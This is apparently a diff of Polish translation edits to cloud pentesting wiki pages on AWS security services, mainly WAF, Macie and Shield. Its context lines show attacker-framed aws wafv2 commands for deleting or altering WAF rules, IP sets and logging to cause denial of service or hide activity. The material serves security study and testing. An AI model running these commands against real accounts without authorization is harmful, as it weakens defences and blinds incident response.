-> Ta akcja wymaga wykonania przez delegowanego administratora.
+> Ta akcja musi być wykonana przez delegowanego administratora.
 ```bash
 # Associate
 aws inspector2 associate-member --account-id <value>
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md
index 2de96b676..40dd61acf 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md
@@ -18,7 +18,7 @@ Kluczowe funkcje Amazon Macie:
 
 Amazon Macie jest **usługą regionalną** i wymaga roli IAM 'AWSMacieServiceCustomerSetupRole' oraz włączonego AWS CloudTrail do działania.
 
-### System powiadomień
+### System alertów
 
 Macie klasyfikuje alerty w predefiniowane kategorie, takie jak:
 
@@ -51,7 +51,7 @@ Użytkownicy są klasyfikowani w poziomach na podstawie poziomu ryzyka ich wywo
 
 ### Typy tożsamości
 
-Typy tożsamości obejmują Root, użytkownika IAM, przyjętą rolę, użytkownika federacyjnego, konto AWS i usługę AWS, wskazując źródło żądań.
+Typy tożsamości obejmują Root, użytkownik IAM, przyjęta rola, użytkownik federacyjny, konto AWS i usługa AWS, wskazując źródło żądań.
 
 ### Klasyfikacja danych
 
@@ -66,7 +66,7 @@ Najwyższe ryzyko wśród tych kategorii określa ostateczny poziom ryzyka pliku
 
 ### Badania i analiza
 
-Funkcja badawcza Amazon Macie umożliwia niestandardowe zapytania w całych danych Macie w celu przeprowadzenia szczegółowej analizy. Filtry obejmują dane CloudTrail, właściwości koszyka S3 i obiekty S3. Ponadto wspiera zapraszanie innych kont do współdzielenia Amazon Macie, ułatwiając współpracę w zarządzaniu danymi i monitorowaniu bezpieczeństwa.
+Funkcja badawcza Amazon Macie umożliwia niestandardowe zapytania w całych danych Macie w celu przeprowadzenia szczegółowej analizy. Filtry obejmują dane CloudTrail, właściwości koszyków S3 i obiekty S3. Ponadto wspiera zapraszanie innych kont do współdzielenia Amazon Macie, ułatwiając współpracę w zarządzaniu danymi i monitorowaniu bezpieczeństwa.
 
 ### Enumeracja
 ```
@@ -101,15 +101,15 @@ aws macie2 list-classification-jobs
 aws macie2 list-classification-scopes
 aws macie2 list-custom-data-identifiers
 ```
-#### Post Exploitation
+#### Post Eksploatacja
 
 > [!TIP]
 > Z perspektywy atakującego, ta usługa nie jest stworzona do wykrywania atakującego, ale do wykrywania wrażliwych informacji w przechowywanych plikach. Dlatego ta usługa może **pomóc atakującemu w znalezieniu wrażliwych informacji** w bucketach.\
-> Jednak być może atakujący mógłby być również zainteresowany zakłóceniem jej działania, aby uniemożliwić ofierze otrzymywanie powiadomień i łatwiejsze kradzież tych informacji.
+> Jednak być może atakujący mógłby również być zainteresowany zakłóceniem jej działania, aby uniemożliwić ofierze otrzymywanie powiadomień i łatwiejsze kradzież tych informacji.
 
-TODO: PRs are welcome!
+TODO: PRs są mile widziane!
 
-## References
+## Odniesienia
 
 - [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md
index 90862bc0b..e00d32dce 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md
@@ -4,9 +4,9 @@
 
 ## Security Hub
 
-**Security Hub** zbiera dane dotyczące bezpieczeństwa **z różnych kont AWS**, usług i wspieranych produktów partnerów trzecich oraz pomaga **analizować trendy bezpieczeństwa** i identyfikować najważniejsze problemy związane z bezpieczeństwem.
+**Security Hub** zbiera dane **bezpieczeństwa** z **różnych kont AWS**, usług i wspieranych produktów partnerów trzecich oraz pomaga w **analizie trendów bezpieczeństwa** i identyfikacji najważniejszych problemów związanych z bezpieczeństwem.
 
-Centralizuje **powiadomienia związane z bezpieczeństwem w różnych kontach** i zapewnia interfejs użytkownika do ich przeglądania. Największym ograniczeniem jest to, że **nie centralizuje powiadomień w różnych regionach**, tylko w ramach kont.
+Centralizuje **powiadomienia związane z bezpieczeństwem** w różnych kontach i zapewnia interfejs użytkownika do ich przeglądania. Największym ograniczeniem jest to, że **nie centralizuje powiadomień w różnych regionach**, tylko w ramach kont.
 
 **Cechy**
 
@@ -17,7 +17,7 @@ Centralizuje **powiadomienia związane z bezpieczeństwem w różnych kontach**
 - Config
 - Inspector
 - Macie
-- strony trzeciej
+- partnerów trzecich
 - samodzielnie generowane zgodnie z standardami CIS
 
 ## Enumeration
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md
index 97476d54b..01e01c8a9 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md
@@ -6,10 +6,10 @@
 
 AWS Shield został zaprojektowany, aby **chronić twoją infrastrukturę przed rozproszonymi atakami typu denial of service**, powszechnie znanymi jako DDoS.
 
-**AWS Shield Standard** jest **darmowy** dla wszystkich i oferuje **ochronę DDoS** przed niektórymi z bardziej powszechnych ataków DDoS na poziomie trzecim, **warstwie sieciowej**, oraz na poziomie czwartym, **warstwie transportowej**. Ta ochrona jest zintegrowana zarówno z CloudFront, jak i Route 53.
+**AWS Shield Standard** jest **darmowy** dla wszystkich i oferuje **ochronę DDoS** przed niektórymi z bardziej powszechnych ataków DDoS na warstwie trzeciej, **warstwie sieciowej**, oraz warstwie czwartej, **warstwie transportowej**. Ta ochrona jest zintegrowana zarówno z CloudFront, jak i Route 53.
 
-**AWS Shield Advanced** oferuje **wyższy poziom ochrony** przed atakami DDoS w szerszym zakresie usług AWS za dodatkową opłatą. Ten zaawansowany poziom oferuje ochronę dla twoich aplikacji internetowych działających na EC2, CloudFront, ELB oraz Route 53. Oprócz tych dodatkowych typów zasobów, oferowane są również ulepszone poziomy ochrony DDoS w porównaniu do Standard. Będziesz również miał **dostęp do specjalistycznego zespołu reakcji na DDoS w AWS, znanego jako DRT, dostępnego 24 godziny na dobę, 7 dni w tygodniu**.
+**AWS Shield Advanced** oferuje **wyższy poziom ochrony** przed atakami DDoS w szerszym zakresie usług AWS za dodatkową opłatą. Ten zaawansowany poziom oferuje ochronę dla twoich aplikacji internetowych działających na EC2, CloudFront, ELB oraz Route 53. Oprócz tych dodatkowych typów zasobów, oferowane są ulepszone poziomy ochrony DDoS w porównaniu do Standard. Będziesz również miał **dostęp do specjalistycznego zespołu reakcji na DDoS w AWS, znanego jako DRT, dostępnego 24 godziny na dobę, 7 dni w tygodniu**.
 
-Podczas gdy wersja Standard Shield oferowała ochronę przed poziomem trzecim i czwartym, **Advanced oferuje również ochronę przed atakami na poziomie siódmym, aplikacyjnym.**
+Podczas gdy wersja Standard Shield oferowała ochronę przed warstwą trzecią i czwartą, **Advanced oferuje również ochronę przed atakami na warstwie siódmej, aplikacyjnymi.**
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md
index 8eeea2a13..b973966f0 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md
@@ -6,7 +6,7 @@
 
 ## AWS Trusted Advisor Overview
 
-Trusted Advisor to usługa, która **oferuje rekomendacje** w celu optymalizacji Twojego konta AWS, zgodnie z **najlepszymi praktykami AWS**. Jest to usługa działająca w wielu regionach. Trusted Advisor oferuje wgląd w cztery główne kategorie:
+Trusted Advisor to usługa, która **oferuje rekomendacje** w celu optymalizacji Twojego konta AWS, zgodnie z **najlepszymi praktykami AWS**. To usługa działająca w wielu regionach. Trusted Advisor oferuje wgląd w cztery główne kategorie:
 
 1. **Optymalizacja kosztów:** Sugeruje, jak przekształcić zasoby, aby zmniejszyć wydatki.
 2. **Wydajność:** Identyfikuje potencjalne wąskie gardła wydajności.
@@ -19,7 +19,7 @@ Kompleksowe funkcje Trusted Advisor są dostępne wyłącznie w ramach **planów
 
 - Trusted Advisor może wydawać powiadomienia.
 - Elementy mogą być wyłączane z jego kontroli.
-- Dane są odświeżane co 24 godziny. Jednak ręczne odświeżenie jest możliwe 5 minut po ostatnim odświeżeniu.
+- Dane są odświeżane co 24 godziny. Możliwe jest jednak ręczne odświeżenie 5 minut po ostatnim odświeżeniu.
 
 ### **Checks Breakdown**
 
@@ -36,7 +36,7 @@ Kompleksowe funkcje Trusted Advisor są dostępne wyłącznie w ramach **planów
 
 Ograniczone do użytkowników bez planów wsparcia biznesowego lub przedsiębiorstw:
 
-1. Grupy zabezpieczeń - Niekontrolowany dostęp do określonych portów
+1. Grupy zabezpieczeń - Niekontrolowane porty
 2. Użycie IAM
 3. MFA na koncie głównym
 4. Publiczne migawki EBS
@@ -45,7 +45,7 @@ Ograniczone do użytkowników bez planów wsparcia biznesowego lub przedsiębior
 
 #### Security Checks
 
-Lista kontroli koncentrująca się głównie na identyfikacji i naprawie zagrożeń bezpieczeństwa:
+Lista kontroli skoncentrowana głównie na identyfikacji i naprawie zagrożeń bezpieczeństwa:
 
 - Ustawienia grup zabezpieczeń dla portów wysokiego ryzyka
 - Niekontrolowany dostęp do grup zabezpieczeń
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md
index eacacf9dd..25d4db5c4 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md
@@ -6,19 +6,19 @@
 
 ## AWS WAF
 
-AWS WAF to **zapora aplikacji internetowej** zaprojektowana w celu **ochrony aplikacji internetowych lub interfejsów API** przed różnymi exploitami internetowymi, które mogą wpłynąć na ich dostępność, bezpieczeństwo lub zużycie zasobów. Umożliwia użytkownikom kontrolowanie ruchu przychodzącego poprzez ustawienie **reguł bezpieczeństwa**, które łagodzą typowe wektory ataków, takie jak wstrzykiwanie SQL czy skrypty międzywitrynowe, a także poprzez definiowanie niestandardowych reguł filtrujących.
+AWS WAF to **zapora aplikacji internetowej** zaprojektowana w celu **ochrony aplikacji internetowych lub interfejsów API** przed różnymi exploitami internetowymi, które mogą wpłynąć na ich dostępność, bezpieczeństwo lub zużycie zasobów. Umożliwia użytkownikom kontrolowanie ruchu przychodzącego poprzez ustawienie **reguł bezpieczeństwa**, które łagodzą typowe wektory ataków, takie jak SQL injection czy cross-site scripting, a także poprzez definiowanie niestandardowych reguł filtrujących.
 
 ### Kluczowe pojęcia
 
 #### Web ACL (Lista Kontroli Dostępu)
 
-Web ACL to zbiór reguł, które możesz zastosować do swoich aplikacji internetowych lub interfejsów API. Gdy powiążesz Web ACL z zasobem, AWS WAF sprawdza przychodzące żądania na podstawie reguł zdefiniowanych w Web ACL i podejmuje określone działania.
+Web ACL to zbiór reguł, które można zastosować do aplikacji internetowych lub interfejsów API. Gdy powiążesz Web ACL z zasobem, AWS WAF sprawdza przychodzące żądania na podstawie reguł zdefiniowanych w Web ACL i podejmuje określone działania.
 
 #### Grupa reguł
 
-Grupa reguł to wielokrotnego użytku zbiór reguł, które możesz zastosować do wielu Web ACL. Grupy reguł pomagają zarządzać i utrzymywać spójne zestawy reguł w różnych aplikacjach internetowych lub interfejsach API.
+Grupa reguł to wielokrotnego użytku zbiór reguł, które można zastosować do wielu Web ACL. Grupy reguł pomagają zarządzać i utrzymywać spójne zestawy reguł w różnych aplikacjach internetowych lub interfejsach API.
 
-Każda grupa reguł ma przypisaną **pojemność**, która pomaga obliczyć i kontrolować zasoby operacyjne używane do uruchamiania twoich reguł, grup reguł i Web ACL. Po ustawieniu jej wartości podczas tworzenia nie można jej zmienić.
+Każda grupa reguł ma przypisaną **pojemność**, która pomaga obliczyć i kontrolować zasoby operacyjne używane do uruchamiania reguł, grup reguł i Web ACL. Po ustawieniu wartości podczas tworzenia nie można jej zmienić.
 
 #### Reguła
 
@@ -29,7 +29,7 @@ Reguła definiuje zestaw warunków, które AWS WAF wykorzystuje do sprawdzania p
 
 #### Zarządzane reguły
 
-AWS WAF oferuje wstępnie skonfigurowane, zarządzane zestawy reguł, które są utrzymywane przez AWS i sprzedawców z AWS Marketplace. Te zestawy reguł zapewniają ochronę przed powszechnymi zagrożeniami i są regularnie aktualizowane w celu rozwiązania nowych luk w zabezpieczeniach.
+AWS WAF oferuje wstępnie skonfigurowane, zarządzane zestawy reguł, które są utrzymywane przez AWS i sprzedawców z AWS Marketplace. Te zestawy reguł zapewniają ochronę przed powszechnymi zagrożeniami i są regularnie aktualizowane, aby zająć się nowymi lukami.
 
 #### Zestaw IP
 
@@ -55,7 +55,7 @@ Polityka uprawnień to polityka IAM, która określa, kto może wykonywać dzia
 
 #### Zakres
 
-Parametr zakresu w AWS WAF określa, czy reguły i konfiguracje WAF mają zastosowanie do aplikacji regionalnej czy dystrybucji Amazon CloudFront.
+Parametr zakresu w AWS WAF określa, czy reguły i konfiguracje WAF mają zastosowanie do aplikacji regionalnej, czy do dystrybucji Amazon CloudFront.
 
 - **REGIONAL**: Dotyczy regionalnych usług, takich jak Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, AWS App Runner service i AWS Verified Access instance. Określasz region AWS, w którym znajdują się te zasoby.
 - **CLOUDFRONT**: Dotyczy dystrybucji Amazon CloudFront, które są globalne. Konfiguracje WAF dla CloudFront są zarządzane przez region `us-east-1`, niezależnie od tego, gdzie treść jest serwowana.
@@ -64,7 +64,7 @@ Parametr zakresu w AWS WAF określa, czy reguły i konfiguracje WAF mają zastos
 
 #### Kryteria monitorowania (Warunki)
 
-**Warunki** określają elementy przychodzących żądań HTTP/HTTPS, które AWS WAF monitoruje, w tym XSS, lokalizację geograficzną (GEO), adresy IP, ograniczenia rozmiaru, wstrzykiwanie SQL oraz wzorce (dopasowywanie ciągów i regex). Ważne jest, aby zauważyć, że **żądania ograniczone na poziomie CloudFront na podstawie kraju nie dotrą do WAF**.
+**Warunki** określają elementy przychodzących żądań HTTP/HTTPS, które AWS WAF monitoruje, w tym XSS, lokalizację geograficzną (GEO), adresy IP, ograniczenia rozmiaru, SQL Injection oraz wzorce (dopasowywanie ciągów i regex). Ważne jest, aby zauważyć, że **żądania ograniczone na poziomie CloudFront na podstawie kraju nie dotrą do WAF**.
 
 Każde konto AWS może skonfigurować:
 
@@ -80,7 +80,7 @@ Działania są przypisane do każdej reguły, a opcje to:
 - **Zezwól**: Żądanie jest przekazywane do odpowiedniej dystrybucji CloudFront lub Application Load Balancer.
 - **Zablokuj**: Żądanie jest natychmiast przerywane.
 - **Zlicz**: Zlicza żądania spełniające warunki reguły. Jest to przydatne do testowania reguł, potwierdzania dokładności reguły przed ustawieniem jej na Zezwól lub Zablokuj.
-- **CAPTCHA i Wyzwanie:** Weryfikuje, że żądanie nie pochodzi od bota, używając zagadek CAPTCHA i cichych wyzwań.
+- **CAPTCHA i Wyzwanie:** Weryfikowane jest, że żądanie nie pochodzi od bota za pomocą zagadek CAPTCHA i cichych wyzwań.
 
 Jeśli żądanie nie pasuje do żadnej reguły w Web ACL, podlega **domyślnemu działaniu** (Zezwól lub Zablokuj). Kolejność wykonywania reguł, zdefiniowana w Web ACL, jest kluczowa i zazwyczaj przebiega w następującej kolejności:
 
@@ -192,13 +192,13 @@ aws wafv2 get-mobile-sdk-release --platform <value> --release-version <value>
 >
 > Jednak atakujący może być również zainteresowany zakłóceniem tej usługi, aby strony nie były chronione przez WAF.
 
-W wielu operacjach usuwania i aktualizacji konieczne byłoby podanie **tokena blokady**. Token ten jest używany do kontroli współbieżności nad zasobami, zapewniając, że zmiany nie są przypadkowo nadpisywane przez wielu użytkowników lub procesy próbujące jednocześnie zaktualizować ten sam zasób. Aby uzyskać ten token, można wykonać odpowiednie operacje **list** lub **get** na konkretnym zasobie.
+W wielu operacjach Delete i Update konieczne byłoby podanie **lock token**. Token ten jest używany do kontroli współbieżności nad zasobami, zapewniając, że zmiany nie są przypadkowo nadpisywane przez wielu użytkowników lub procesy próbujące jednocześnie zaktualizować ten sam zasób. Aby uzyskać ten token, można wykonać odpowiednie operacje **list** lub **get** na konkretnym zasobie.
 
 #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`**
 
 Atakujący mógłby skompromitować bezpieczeństwo dotkniętego zasobu poprzez:
 
-- Tworzenie grup reguł, które mogłyby na przykład blokować ruch z legalnych adresów IP, powodując odmowę usługi.
+- Tworzenie grup reguł, które mogłyby na przykład blokować legalny ruch z legalnych adresów IP, powodując odmowę usługi.
 - Aktualizowanie grup reguł, mając możliwość modyfikacji ich działań na przykład z **Block** na **Allow**.
 - Usuwanie grup reguł, które zapewniają krytyczne środki bezpieczeństwa.
 ```bash
@@ -259,7 +259,7 @@ aws wafv2 update-web-acl --name <value> --id <value> --default-action <value> --
 # Delete Web ACL
 aws wafv2 delete-web-acl --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
 ```
-Przykłady poniżej pokazują, jak zaktualizować Web ACL, aby zablokować legalny ruch z określonego zestawu IP. Jeśli adres IP źródłowy nie pasuje do żadnego z tych adresów IP, domyślna akcja również będzie polegać na zablokowaniu go, co spowoduje DoS.
+Przykłady poniżej pokazują, jak zaktualizować Web ACL, aby zablokować legalny ruch z określonego zestawu adresów IP. Jeśli adres IP źródła nie pasuje do żadnego z tych adresów, domyślna akcja również będzie go blokować, co spowoduje DoS.
 
 **Oryginalny Web ACL**:
 ```json
@@ -337,14 +337,14 @@ Uprawnienie **`wafv2:AssociateWebACL`** pozwoliłoby atakującemu na powiązanie
 
 Dodatkowe uprawnienia byłyby potrzebne w zależności od typu chronionego zasobu:
 
-- **Powiąż**
+- **Associate**
 - apigateway:SetWebACL
 - apprunner:AssociateWebAcl
 - appsync:SetWebACL
 - cognito-idp:AssociateWebACL
 - ec2:AssociateVerifiedAccessInstanceWebAcl
 - elasticloadbalancing:SetWebAcl
-- **Rozłącz**
+- **Disassociate**
 - apigateway:SetWebACL
 - apprunner:DisassociateWebAcl
 - appsync:SetWebACL
@@ -361,7 +361,7 @@ aws wafv2 disassociate-web-acl --resource-arn <value>
 
 #### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`**
 
-Napastnik mógłby tworzyć, aktualizować i usuwać zestawy IP zarządzane przez AWS WAF. Może to być niebezpieczne, ponieważ mógłby tworzyć nowe zestawy IP, aby zezwolić na złośliwy ruch, modyfikować zestawy IP w celu zablokowania legalnego ruchu, aktualizować istniejące zestawy IP, aby uwzględnić złośliwe adresy IP, usuwać zaufane adresy IP lub usuwać krytyczne zestawy IP, które mają na celu ochronę krytycznych zasobów.
+Atakujący mógłby tworzyć, aktualizować i usuwać zestawy IP zarządzane przez AWS WAF. Może to być niebezpieczne, ponieważ mógłby tworzyć nowe zestawy IP, aby zezwolić na złośliwy ruch, modyfikować zestawy IP w celu zablokowania legalnego ruchu, aktualizować istniejące zestawy IP, aby uwzględnić złośliwe adresy IP, usuwać zaufane adresy IP lub usuwać krytyczne zestawy IP, które mają na celu ochronę krytycznych zasobów.
 ```bash
 # Create IP set
 aws wafv2 create-ip-set --name <value> --ip-address-version <IPV4 | IPV6> --addresses <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
@@ -376,13 +376,13 @@ aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a
 ```
 **Potencjalny wpływ**: Nieautoryzowany dostęp i blokowanie legalnego ruchu.
 
-#### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`**
+#### **`wafv2:CreateRegexPatternSet`**, **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`**
 
-Napastnik z tymi uprawnieniami mógłby manipulować zestawami wzorców wyrażeń regularnych używanymi przez AWS WAF do kontrolowania i filtrowania przychodzącego ruchu na podstawie określonych wzorców.
+Atakujący z tymi uprawnieniami mógłby manipulować zestawami wzorców wyrażeń regularnych używanymi przez AWS WAF do kontrolowania i filtrowania przychodzącego ruchu na podstawie określonych wzorców.
 
-- Tworzenie nowych wzorców regex pomogłoby napastnikowi w zezwoleniu na szkodliwą treść
-- Aktualizując istniejące wzorce, napastnik mógłby obejść zasady bezpieczeństwa
-- Usuwanie wzorców zaprojektowanych w celu blokowania złośliwych działań mogłoby umożliwić napastnikowi wysyłanie złośliwych ładunków i obejście środków bezpieczeństwa.
+- Tworzenie nowych wzorców regex pomogłoby atakującemu w zezwoleniu na szkodliwą treść
+- Aktualizując istniejące wzorce, atakujący mógłby obejść zasady bezpieczeństwa
+- Usunięcie wzorców zaprojektowanych w celu blokowania złośliwych działań mogłoby umożliwić atakującemu wysyłanie złośliwych ładunków i obejście środków bezpieczeństwa.
 ```bash
 # Create regex pattern set
 aws wafv2 create-regex-pattern-set --name <value> --regular-expression-list <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--description <value>]
@@ -391,7 +391,7 @@ aws wafv2 update-regex-pattern-set --name <value> --id <value> --regular-express
 # Delete regex pattern set
 aws wafv2 delete-regex-pattern-set --name <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> --id <value> --lock-token <value>
 ```
-**Potencjalny wpływ**: Ominięcie zabezpieczeń, umożliwiające wprowadzenie złośliwej treści i potencjalne ujawnienie danych wrażliwych lub zakłócenie usług i zasobów chronionych przez AWS WAF.
+**Potencjalny wpływ**: Ominięcie zabezpieczeń, umożliwiające wprowadzenie złośliwej treści i potencjalne ujawnienie wrażliwych danych lub zakłócenie usług i zasobów chronionych przez AWS WAF.
 
 #### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`**
 
@@ -399,9 +399,9 @@ Atakujący z uprawnieniami **`wafv2:DeleteLoggingConfiguration`** mógłby usun
 
 Podczas procesu tworzenia, usługa automatycznie ustawia niezbędne uprawnienia, aby umożliwić zapis logów do określonego miejsca logowania:
 
-- **Amazon CloudWatch Logs:** AWS WAF tworzy politykę zasobów w wyznaczonej grupie logów CloudWatch. Polityka ta zapewnia, że AWS WAF ma wymagane uprawnienia do zapisywania logów w grupie logów.
-- **Amazon S3 Bucket:** AWS WAF tworzy politykę kosza w wyznaczonym koszu S3. Polityka ta przyznaje AWS WAF niezbędne uprawnienia do przesyłania logów do określonego kosza.
-- **Amazon Kinesis Data Firehose:** AWS WAF tworzy rolę powiązaną z usługą, specjalnie do interakcji z Kinesis Data Firehose. Rola ta pozwala AWS WAF na dostarczanie logów do skonfigurowanego strumienia Firehose.
+- **Amazon CloudWatch Logs:** AWS WAF tworzy politykę zasobów na wyznaczonej grupie logów CloudWatch. Polityka ta zapewnia, że AWS WAF ma wymagane uprawnienia do zapisywania logów w grupie logów.
+- **Amazon S3 Bucket:** AWS WAF tworzy politykę kosza na wyznaczonym koszu S3. Polityka ta przyznaje AWS WAF niezbędne uprawnienia do przesyłania logów do określonego kosza.
+- **Amazon Kinesis Data Firehose:** AWS WAF tworzy rolę powiązaną z usługą specjalnie do interakcji z Kinesis Data Firehose. Rola ta pozwala AWS WAF na dostarczanie logów do skonfigurowanego strumienia Firehose.
 
 > [!NOTE]
 > Możliwe jest zdefiniowanie tylko jednego miejsca logowania na web ACL.
@@ -411,11 +411,11 @@ aws wafv2 put-logging-configuration --logging-configuration <value>
 # Delete logging configuration
 aws wafv2 delete-logging-configuration --resource-arn <value> [--log-scope <CUSTOMER | SECURITY_LAKE>] [--log-type <value>]
 ```
-**Potencjalny wpływ:** Ukryta widoczność zdarzeń bezpieczeństwa, utrudniony proces reagowania na incydenty oraz ułatwienie ukrytych złośliwych działań w środowiskach chronionych przez AWS WAF.
+**Potencjalny wpływ:** Ukryta widoczność zdarzeń bezpieczeństwa, utrudnienie procesu reagowania na incydenty oraz ułatwienie ukrytych złośliwych działań w środowiskach chronionych przez AWS WAF.
 
 #### **`wafv2:DeleteAPIKey`**
 
-Atakujący z tymi uprawnieniami mógłby usunąć istniejące klucze API, co uczyniłoby CAPTCHA nieskuteczną i zakłóciłoby funkcjonalność, która na niej polega, taką jak przesyłanie formularzy i kontrole dostępu. W zależności od implementacji tego CAPTCHA, mogłoby to prowadzić do obejścia CAPTCHA lub do DoS, jeśli zarządzanie błędami nie jest odpowiednio ustawione w zasobie.
+Atakujący z tymi uprawnieniami mógłby usunąć istniejące klucze API, co uczyniłoby CAPTCHA nieskutecznym i zakłóciłoby funkcjonalność, która na nim polega, taką jak przesyłanie formularzy i kontrole dostępu. W zależności od implementacji tego CAPTCHA, mogłoby to prowadzić do obejścia CAPTCHA lub do DoS, jeśli zarządzanie błędami nie jest odpowiednio ustawione w zasobie.
 ```bash
 # Delete API key
 aws wafv2 delete-api-key --api-key <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
@@ -424,14 +424,14 @@ aws wafv2 delete-api-key --api-key <value> --scope <REGIONAL --region=<value> |
 
 #### **`wafv2:TagResource`, `wafv2:UntagResource`**
 
-Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów AWS WAFv2, takich jak Web ACL, grupy reguł, zestawy IP, zestawy wzorców regex i konfiguracje logowania.
+Atakujący mógłby dodać, zmodyfikować lub usunąć tagi z zasobów AWS WAFv2, takich jak Web ACL, grupy reguł, zestawy IP, zestawy wzorców regex i konfiguracje logowania.
 ```bash
 # Tag
 aws wafv2 tag-resource --resource-arn <value> --tags <value>
 # Untag
 aws wafv2 untag-resource --resource-arn <value> --tag-keys <value>
 ```
-**Potencjalny wpływ**: Manipulacja zasobami, wyciek informacji, manipulacja kosztami i zakłócenia operacyjne.
+**Potencjalny wpływ**: manipulacja zasobami, wyciek informacji, manipulacja kosztami i zakłócenia operacyjne.
 
 ## Odniesienia
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md
index 65f5d8f82..a31d57711 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md
@@ -6,7 +6,7 @@
 
 Amazon Simple Email Service (Amazon SES) jest zaprojektowany do **wysyłania i odbierania e-maili**. Umożliwia użytkownikom efektywne i bezpieczne wysyłanie e-maili transakcyjnych, marketingowych lub powiadomień na dużą skalę. **Dobrze integruje się z innymi usługami AWS**, oferując solidne rozwiązanie do zarządzania komunikacją e-mailową dla firm każdej wielkości.
 
-Musisz zarejestrować **tożsamości**, którymi mogą być domeny lub adresy e-mail, które będą mogły współpracować z SES (np. wysyłać i odbierać e-maile).
+Musisz zarejestrować **tożsamości**, które mogą być domenami lub adresami e-mail, które będą mogły współpracować z SES (np. wysyłać i odbierać e-maile).
 
 ### Użytkownik SMTP
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md
index cfb9c8e2d..6a626f2c3 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md
@@ -4,14 +4,14 @@
 
 ## SNS
 
-Amazon Simple Notification Service (Amazon SNS) jest opisany jako **w pełni zarządzana usługa komunikacyjna**. Obsługuje zarówno **komunikację aplikacja-do-aplikacji** (A2A), jak i **komunikację aplikacja-do-osoby** (A2P).
+Amazon Simple Notification Service (Amazon SNS) jest opisana jako **w pełni zarządzana usługa komunikacyjna**. Obsługuje zarówno **komunikację aplikacja-do-aplikacji** (A2A), jak i **komunikację aplikacja-do-osoby** (A2P).
 
-Kluczowe cechy komunikacji A2A obejmują **mechanizmy publikacji/subskrypcji (pub/sub)**. Te mechanizmy wprowadzają **tematy**, które są kluczowe dla umożliwienia wysokowydajnej, **opartej na push, komunikacji wiele-do-wielu**. Ta funkcja jest bardzo korzystna w scenariuszach, które obejmują systemy rozproszone, mikroserwisy i architektury bezserwerowe oparte na zdarzeniach. Wykorzystując te tematy, systemy publikujące mogą efektywnie dystrybuować wiadomości do **szerokiego zakresu systemów subskrybujących**, ułatwiając wzorzec komunikacji fanout.
+Kluczowe cechy dla komunikacji A2A obejmują **mechanizmy publikacji/subskrypcji (pub/sub)**. Te mechanizmy wprowadzają **tematy**, które są kluczowe dla umożliwienia wysokowydajnej, **opartej na push, komunikacji wiele-do-wielu**. Ta funkcja jest bardzo korzystna w scenariuszach, które obejmują systemy rozproszone, mikroserwisy i architektury bezserwerowe oparte na zdarzeniach. Wykorzystując te tematy, systemy publikujące mogą efektywnie dystrybuować wiadomości do **szerokiego zakresu systemów subskrybujących**, ułatwiając wzorzec komunikacji fanout.
 
 ### **Różnica z SQS**
 
